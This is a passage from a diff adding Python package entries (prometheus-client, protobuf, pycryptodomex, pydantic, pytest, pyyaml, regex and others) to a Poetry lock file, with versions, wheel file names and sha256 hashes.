+docs = ["aiohttp", "furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "twisted"]
+tests = ["coverage[toml]", "pytest", "pytest-asyncio"]
+twisted = ["twisted"]
+
+[[package]]
+name = "prometheus-client"
+version = "0.17.1"
+description = "Python client for the Prometheus monitoring system."
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "prometheus_client-0.17.1-py3-none-any.whl", hash = "sha256:e537f37160f6807b8202a6fc4764cdd19bac5480ddd3e0d463c3002b34462101"},
+ {file = "prometheus_client-0.17.1.tar.gz", hash = "sha256:21e674f39831ae3f8acde238afd9a27a37d0d2fb5a28ea094f0ce25d2cbf2091"},
+]
+
+[package.extras]
+twisted = ["twisted"]
+
+[[package]]
+name = "protobuf"
+version = "4.23.4"
+description = ""
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "protobuf-4.23.4-cp310-abi3-win32.whl", hash = "sha256:5fea3c64d41ea5ecf5697b83e41d09b9589e6f20b677ab3c48e5f242d9b7897b"},
+ {file = "protobuf-4.23.4-cp310-abi3-win_amd64.whl", hash = "sha256:7b19b6266d92ca6a2a87effa88ecc4af73ebc5cfde194dc737cf8ef23a9a3b12"},
+ {file = "protobuf-4.23.4-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:8547bf44fe8cec3c69e3042f5c4fb3e36eb2a7a013bb0a44c018fc1e427aafbd"},
+ {file = "protobuf-4.23.4-cp37-abi3-manylinux2014_aarch64.whl", hash = "sha256:fee88269a090ada09ca63551bf2f573eb2424035bcf2cb1b121895b01a46594a"},
+ {file = "protobuf-4.23.4-cp37-abi3-manylinux2014_x86_64.whl", hash = "sha256:effeac51ab79332d44fba74660d40ae79985901ac21bca408f8dc335a81aa597"},
+ {file = "protobuf-4.23.4-cp37-cp37m-win32.whl", hash = "sha256:c3e0939433c40796ca4cfc0fac08af50b00eb66a40bbbc5dee711998fb0bbc1e"},
+ {file = "protobuf-4.23.4-cp37-cp37m-win_amd64.whl", hash = "sha256:9053df6df8e5a76c84339ee4a9f5a2661ceee4a0dab019e8663c50ba324208b0"},
+ {file = "protobuf-4.23.4-cp38-cp38-win32.whl", hash = "sha256:e1c915778d8ced71e26fcf43c0866d7499891bca14c4368448a82edc61fdbc70"},
+ {file = "protobuf-4.23.4-cp38-cp38-win_amd64.whl", hash = "sha256:351cc90f7d10839c480aeb9b870a211e322bf05f6ab3f55fcb2f51331f80a7d2"},
+ {file = "protobuf-4.23.4-cp39-cp39-win32.whl", hash = "sha256:6dd9b9940e3f17077e820b75851126615ee38643c2c5332aa7a359988820c720"},
+ {file = "protobuf-4.23.4-cp39-cp39-win_amd64.whl", hash = "sha256:0a5759f5696895de8cc913f084e27fd4125e8fb0914bb729a17816a33819f474"},
+ {file = "protobuf-4.23.4-py3-none-any.whl", hash = "sha256:e9d0be5bf34b275b9f87ba7407796556abeeba635455d036c7351f7c183ef8ff"},
+ {file = "protobuf-4.23.4.tar.gz", hash = "sha256:ccd9430c0719dce806b93f89c91de7977304729e55377f872a92465d548329a9"},
+]
+
+[[package]]
+name = "pycodestyle"
+version = "2.9.1"
+description = "Python style guide checker"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pycodestyle-2.9.1-py2.py3-none-any.whl", hash = "sha256:d1735fc58b418fd7c5f658d28d943854f8a849b01a5d0a1e6f3f3fdd0166804b"},
+ {file = "pycodestyle-2.9.1.tar.gz", hash = "sha256:2c9607871d58c76354b697b42f5d57e1ada7d261c261efac224b664affdc5785"},
+]
+
+[[package]]
+name = "pycparser"
+version = "2.21"
+description = "C parser in Python"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+files = [
+ {file = "pycparser-2.21-py2.py3-none-any.whl", hash = "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9"},
+ {file = "pycparser-2.21.tar.gz", hash = "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"},
+]
+
+[[package]]
+name = "pycryptodomex"
+version = "3.18.0"
+description = "Cryptographic library for Python"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+files = [
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:160a39a708c36fa0b168ab79386dede588e62aec06eb505add870739329aecc6"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:c2953afebf282a444c51bf4effe751706b4d0d63d7ca2cc51db21f902aa5b84e"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:ba95abd563b0d1b88401658665a260852a8e6c647026ee6a0a65589287681df8"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:192306cf881fe3467dda0e174a4f47bb3a8bb24b90c9cdfbdc248eec5fc0578c"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:f9ab5ef0718f6a8716695dea16d83b671b22c45e9c0c78fd807c32c0192e54b5"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-win32.whl", hash = "sha256:50308fcdbf8345e5ec224a5502b4215178bdb5e95456ead8ab1a69ffd94779cb"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-win_amd64.whl", hash = "sha256:4d9379c684efea80fdab02a3eb0169372bca7db13f9332cb67483b8dc8b67c37"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:5594a125dae30d60e94f37797fc67ce3c744522de7992c7c360d02fdb34918f8"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:8ff129a5a0eb5ff16e45ca4fa70a6051da7f3de303c33b259063c19be0c43d35"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:3d9314ac785a5b75d5aaf924c5f21d6ca7e8df442e5cf4f0fefad4f6e284d422"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:f237278836dda412a325e9340ba2e6a84cb0f56b9244781e5b61f10b3905de88"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:ac614363a86cc53d8ba44b6c469831d1555947e69ab3276ae8d6edc219f570f7"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:302a8f37c224e7b5d72017d462a2be058e28f7be627bdd854066e16722d0fc0c"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:6421d23d6a648e83ba2670a352bcd978542dad86829209f59d17a3f087f4afef"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d84e105787f5e5d36ec6a581ff37a1048d12e638688074b2a00bcf402f9aa1c2"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6875eb8666f68ddbd39097867325bd22771f595b4e2b0149739b5623c8bf899b"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:27072a494ce621cc7a9096bbf60ed66826bb94db24b49b7359509e7951033e74"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:1949e09ea49b09c36d11a951b16ff2a05a0ffe969dda1846e4686ee342fe8646"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6ed3606832987018615f68e8ed716a7065c09a0fe94afd7c9ca1b6777f0ac6eb"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-win32.whl", hash = "sha256:d56c9ec41258fd3734db9f5e4d2faeabe48644ba9ca23b18e1839b3bdf093222"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-win_amd64.whl", hash = "sha256:e00a4bacb83a2627e8210cb353a2e31f04befc1155db2976e5e239dd66482278"},
+ {file = "pycryptodomex-3.18.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:2dc4eab20f4f04a2d00220fdc9258717b82d31913552e766d5f00282c031b70a"},
+ {file = "pycryptodomex-3.18.0-pp27-pypy_73-win32.whl", hash = "sha256:75672205148bdea34669173366df005dbd52be05115e919551ee97171083423d"},
+ {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:bec6c80994d4e7a38312072f89458903b65ec99bed2d65aa4de96d997a53ea7a"},
+ {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d35a8ffdc8b05e4b353ba281217c8437f02c57d7233363824e9d794cf753c419"},
+ {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:76f0a46bee539dae4b3dfe37216f678769349576b0080fdbe431d19a02da42ff"},
+ {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:71687eed47df7e965f6e0bf3cadef98f368d5221f0fb89d2132effe1a3e6a194"},
+ {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:73d64b32d84cf48d9ec62106aa277dbe99ab5fbfd38c5100bc7bddd3beb569f7"},
+ {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbdcce0a226d9205560a5936b05208c709b01d493ed8307792075dedfaaffa5f"},
+ {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:58fc0aceb9c961b9897facec9da24c6a94c5db04597ec832060f53d4d6a07196"},
+ {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:215be2980a6b70704c10796dd7003eb4390e7be138ac6fb8344bf47e71a8d470"},
+ {file = "pycryptodomex-3.18.0.tar.gz", hash = "sha256:3e3ecb5fe979e7c1bb0027e518340acf7ee60415d79295e5251d13c68dde576e"},
+]
+
+[[package]]
+name = "pydantic"
+version = "1.10.11"
+description = "Data validation and settings management using python type hints"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pydantic-1.10.11-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ff44c5e89315b15ff1f7fdaf9853770b810936d6b01a7bcecaa227d2f8fe444f"},
+ {file = "pydantic-1.10.11-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a6c098d4ab5e2d5b3984d3cb2527e2d6099d3de85630c8934efcfdc348a9760e"},
+ {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:16928fdc9cb273c6af00d9d5045434c39afba5f42325fb990add2c241402d151"},
+ {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0588788a9a85f3e5e9ebca14211a496409cb3deca5b6971ff37c556d581854e7"},
+ {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e9baf78b31da2dc3d3f346ef18e58ec5f12f5aaa17ac517e2ffd026a92a87588"},
+ {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:373c0840f5c2b5b1ccadd9286782852b901055998136287828731868027a724f"},
+ {file = "pydantic-1.10.11-cp310-cp310-win_amd64.whl", hash = "sha256:c3339a46bbe6013ef7bdd2844679bfe500347ac5742cd4019a88312aa58a9847"},
+ {file = "pydantic-1.10.11-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:08a6c32e1c3809fbc49debb96bf833164f3438b3696abf0fbeceb417d123e6eb"},
+ {file = "pydantic-1.10.11-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a451ccab49971af043ec4e0d207cbc8cbe53dbf148ef9f19599024076fe9c25b"},
+ {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b02d24f7b2b365fed586ed73582c20f353a4c50e4be9ba2c57ab96f8091ddae"},
+ {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3f34739a89260dfa420aa3cbd069fbcc794b25bbe5c0a214f8fb29e363484b66"},
+ {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e297897eb4bebde985f72a46a7552a7556a3dd11e7f76acda0c1093e3dbcf216"},
+ {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d185819a7a059550ecb85d5134e7d40f2565f3dd94cfd870132c5f91a89cf58c"},
+ {file = "pydantic-1.10.11-cp311-cp311-win_amd64.whl", hash = "sha256:4400015f15c9b464c9db2d5d951b6a780102cfa5870f2c036d37c23b56f7fc1b"},
+ {file = "pydantic-1.10.11-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:2417de68290434461a266271fc57274a138510dca19982336639484c73a07af6"},
+ {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:331c031ba1554b974c98679bd0780d89670d6fd6f53f5d70b10bdc9addee1713"},
+ {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8268a735a14c308923e8958363e3a3404f6834bb98c11f5ab43251a4e410170c"},
+ {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:44e51ba599c3ef227e168424e220cd3e544288c57829520dc90ea9cb190c3248"},
+ {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d7781f1d13b19700b7949c5a639c764a077cbbdd4322ed505b449d3ca8edcb36"},
+ {file = "pydantic-1.10.11-cp37-cp37m-win_amd64.whl", hash = "sha256:7522a7666157aa22b812ce14c827574ddccc94f361237ca6ea8bb0d5c38f1629"},
+ {file = "pydantic-1.10.11-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bc64eab9b19cd794a380179ac0e6752335e9555d214cfcb755820333c0784cb3"},
+ {file = "pydantic-1.10.11-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:8dc77064471780262b6a68fe67e013298d130414d5aaf9b562c33987dbd2cf4f"},
+ {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fe429898f2c9dd209bd0632a606bddc06f8bce081bbd03d1c775a45886e2c1cb"},
+ {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:192c608ad002a748e4a0bed2ddbcd98f9b56df50a7c24d9a931a8c5dd053bd3d"},
+ {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ef55392ec4bb5721f4ded1096241e4b7151ba6d50a50a80a2526c854f42e6a2f"},
+ {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:41e0bb6efe86281623abbeeb0be64eab740c865388ee934cd3e6a358784aca6e"},
+ {file = "pydantic-1.10.11-cp38-cp38-win_amd64.whl", hash = "sha256:265a60da42f9f27e0b1014eab8acd3e53bd0bad5c5b4884e98a55f8f596b2c19"},
+ {file = "pydantic-1.10.11-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:469adf96c8e2c2bbfa655fc7735a2a82f4c543d9fee97bd113a7fb509bf5e622"},
+ {file = "pydantic-1.10.11-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e6cbfbd010b14c8a905a7b10f9fe090068d1744d46f9e0c021db28daeb8b6de1"},
+ {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:abade85268cc92dff86d6effcd917893130f0ff516f3d637f50dadc22ae93999"},
+ {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e9738b0f2e6c70f44ee0de53f2089d6002b10c33264abee07bdb5c7f03038303"},
+ {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:787cf23e5a0cde753f2eabac1b2e73ae3844eb873fd1f5bdbff3048d8dbb7604"},
+ {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:174899023337b9fc685ac8adaa7b047050616136ccd30e9070627c1aaab53a13"},
+ {file = "pydantic-1.10.11-cp39-cp39-win_amd64.whl", hash = "sha256:1954f8778489a04b245a1e7b8b22a9d3ea8ef49337285693cf6959e4b757535e"},
+ {file = "pydantic-1.10.11-py3-none-any.whl", hash = "sha256:008c5e266c8aada206d0627a011504e14268a62091450210eda7c07fabe6963e"},
+ {file = "pydantic-1.10.11.tar.gz", hash = "sha256:f66d479cf7eb331372c470614be6511eae96f1f120344c25f3f9bb59fb1b5528"},
+]
+
+[package.dependencies]
+typing-extensions = ">=4.2.0"
+
+[package.extras]
+dotenv = ["python-dotenv (>=0.10.4)"]
+email = ["email-validator (>=1.0.3)"]
+
+[[package]]
+name = "pyflakes"
+version = "2.5.0"
+description = "passive checker of Python programs"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pyflakes-2.5.0-py2.py3-none-any.whl", hash = "sha256:4579f67d887f804e67edb544428f264b7b24f435b263c4614f384135cea553d2"},
+ {file = "pyflakes-2.5.0.tar.gz", hash = "sha256:491feb020dca48ccc562a8c0cbe8df07ee13078df59813b83959cbdada312ea3"},
+]
+
+[[package]]
+name = "pygments"
+version = "2.15.1"
+description = "Pygments is a syntax highlighting package written in Python."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "Pygments-2.15.1-py3-none-any.whl", hash = "sha256:db2db3deb4b4179f399a09054b023b6a586b76499d36965813c71aa8ed7b5fd1"},
+ {file = "Pygments-2.15.1.tar.gz", hash = "sha256:8ace4d3c1dd481894b2005f560ead0f9f19ee64fe983366be1a21e171d12775c"},
+]
+
+[package.extras]
+plugins = ["importlib-metadata"]
+
+[[package]]
+name = "pytest"
+version = "7.4.0"
+description = "pytest: simple powerful testing with Python"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pytest-7.4.0-py3-none-any.whl", hash = "sha256:78bf16451a2eb8c7a2ea98e32dc119fd2aa758f1d5d66dbf0a59d69a3969df32"},
+ {file = "pytest-7.4.0.tar.gz", hash = "sha256:b4bf8c45bd59934ed84001ad51e11b4ee40d40a1229d2c79f9c592b0a3f6bd8a"},
+]
+
+[package.dependencies]
+colorama = {version = "*", markers = "sys_platform == \"win32\""}
+iniconfig = "*"
+packaging = "*"
+pluggy = ">=0.12,<2.0"
+
+[package.extras]
+testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"]
+
+[[package]]
+name = "python-dateutil"
+version = "2.8.2"
+description = "Extensions to the standard Python datetime module"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
+files = [
+ {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"},
+ {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"},
+]
+
+[package.dependencies]
+six = ">=1.5"
+
+[[package]]
+name = "python-dotenv"
+version = "1.0.0"
+description = "Read key-value pairs from a .env file and set them as environment variables"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "python-dotenv-1.0.0.tar.gz", hash = "sha256:a8df96034aae6d2d50a4ebe8216326c61c3eb64836776504fcca410e5937a3ba"},
+ {file = "python_dotenv-1.0.0-py3-none-any.whl", hash = "sha256:f5971a9226b701070a4bf2c38c89e5a3f0d64de8debda981d1db98583009122a"},
+]
+
+[package.extras]
+cli = ["click (>=5.0)"]
+
+[[package]]
+name = "pyyaml"
+version = "6.0"
+description = "YAML parser and emitter for Python"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "PyYAML-6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d4db7c7aef085872ef65a8fd7d6d09a14ae91f691dec3e87ee5ee0539d516f53"},
+ {file = "PyYAML-6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9df7ed3b3d2e0ecfe09e14741b857df43adb5a3ddadc919a2d94fbdf78fea53c"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77f396e6ef4c73fdc33a9157446466f1cff553d979bd00ecb64385760c6babdc"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a80a78046a72361de73f8f395f1f1e49f956c6be882eed58505a15f3e430962b"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f84fbc98b019fef2ee9a1cb3ce93e3187a6df0b2538a651bfb890254ba9f90b5"},
+ {file = "PyYAML-6.0-cp310-cp310-win32.whl", hash = "sha256:2cd5df3de48857ed0544b34e2d40e9fac445930039f3cfe4bcc592a1f836d513"},
+ {file = "PyYAML-6.0-cp310-cp310-win_amd64.whl", hash = "sha256:daf496c58a8c52083df09b80c860005194014c3698698d1a57cbcfa182142a3a"},
+ {file = "PyYAML-6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d4b0ba9512519522b118090257be113b9468d804b19d63c71dbcf4a48fa32358"},
+ {file = "PyYAML-6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:81957921f441d50af23654aa6c5e5eaf9b06aba7f0a19c18a538dc7ef291c5a1"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:afa17f5bc4d1b10afd4466fd3a44dc0e245382deca5b3c353d8b757f9e3ecb8d"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dbad0e9d368bb989f4515da330b88a057617d16b6a8245084f1b05400f24609f"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:432557aa2c09802be39460360ddffd48156e30721f5e8d917f01d31694216782"},
+ {file = "PyYAML-6.0-cp311-cp311-win32.whl", hash = "sha256:bfaef573a63ba8923503d27530362590ff4f576c626d86a9fed95822a8255fd7"},
+ {file = "PyYAML-6.0-cp311-cp311-win_amd64.whl", hash = "sha256:01b45c0191e6d66c470b6cf1b9531a771a83c1c4208272ead47a3ae4f2f603bf"},
+ {file = "PyYAML-6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:897b80890765f037df3403d22bab41627ca8811ae55e9a722fd0392850ec4d86"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50602afada6d6cbfad699b0c7bb50d5ccffa7e46a3d738092afddc1f9758427f"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48c346915c114f5fdb3ead70312bd042a953a8ce5c7106d5bfb1a5254e47da92"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:98c4d36e99714e55cfbaaee6dd5badbc9a1ec339ebfc3b1f52e293aee6bb71a4"},
+ {file = "PyYAML-6.0-cp36-cp36m-win32.whl", hash = "sha256:0283c35a6a9fbf047493e3a0ce8d79ef5030852c51e9d911a27badfde0605293"},
+ {file = "PyYAML-6.0-cp36-cp36m-win_amd64.whl", hash = "sha256:07751360502caac1c067a8132d150cf3d61339af5691fe9e87803040dbc5db57"},
+ {file = "PyYAML-6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:819b3830a1543db06c4d4b865e70ded25be52a2e0631ccd2f6a47a2822f2fd7c"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:473f9edb243cb1935ab5a084eb238d842fb8f404ed2193a915d1784b5a6b5fc0"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ce82d761c532fe4ec3f87fc45688bdd3a4c1dc5e0b4a19814b9009a29baefd4"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:231710d57adfd809ef5d34183b8ed1eeae3f76459c18fb4a0b373ad56bedcdd9"},
+ {file = "PyYAML-6.0-cp37-cp37m-win32.whl", hash = "sha256:c5687b8d43cf58545ade1fe3e055f70eac7a5a1a0bf42824308d868289a95737"},
+ {file = "PyYAML-6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:d15a181d1ecd0d4270dc32edb46f7cb7733c7c508857278d3d378d14d606db2d"},
+ {file = "PyYAML-6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0b4624f379dab24d3725ffde76559cff63d9ec94e1736b556dacdfebe5ab6d4b"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:213c60cd50106436cc818accf5baa1aba61c0189ff610f64f4a3e8c6726218ba"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9fa600030013c4de8165339db93d182b9431076eb98eb40ee068700c9c813e34"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:277a0ef2981ca40581a47093e9e2d13b3f1fbbeffae064c1d21bfceba2030287"},
+ {file = "PyYAML-6.0-cp38-cp38-win32.whl", hash = "sha256:d4eccecf9adf6fbcc6861a38015c2a64f38b9d94838ac1810a9023a0609e1b78"},
+ {file = "PyYAML-6.0-cp38-cp38-win_amd64.whl", hash = "sha256:1e4747bc279b4f613a09eb64bba2ba602d8a6664c6ce6396a4d0cd413a50ce07"},
+ {file = "PyYAML-6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:055d937d65826939cb044fc8c9b08889e8c743fdc6a32b33e2390f66013e449b"},
+ {file = "PyYAML-6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e61ceaab6f49fb8bdfaa0f92c4b57bcfbea54c09277b1b4f7ac376bfb7a7c174"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d67d839ede4ed1b28a4e8909735fc992a923cdb84e618544973d7dfc71540803"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cba8c411ef271aa037d7357a2bc8f9ee8b58b9965831d9e51baf703280dc73d3"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:40527857252b61eacd1d9af500c3337ba8deb8fc298940291486c465c8b46ec0"},
+ {file = "PyYAML-6.0-cp39-cp39-win32.whl", hash = "sha256:b5b9eccad747aabaaffbc6064800670f0c297e52c12754eb1d976c57e4f74dcb"},
+ {file = "PyYAML-6.0-cp39-cp39-win_amd64.whl", hash = "sha256:b3d267842bf12586ba6c734f89d1f5b871df0273157918b0ccefa29deb05c21c"},
+ {file = "PyYAML-6.0.tar.gz", hash = "sha256:68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"},
+]
+
+[[package]]
+name = "regex"
+version = "2023.6.3"
+description = "Alternative regular expression module, to replace re."
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "regex-2023.6.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:824bf3ac11001849aec3fa1d69abcb67aac3e150a933963fb12bda5151fe1bfd"},
+ {file = "regex-2023.6.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:05ed27acdf4465c95826962528f9e8d41dbf9b1aa8531a387dee6ed215a3e9ef"},
+ {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b49c764f88a79160fa64f9a7b425620e87c9f46095ef9c9920542ab2495c8bc"},
+ {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8e3f1316c2293e5469f8f09dc2d76efb6c3982d3da91ba95061a7e69489a14ef"},
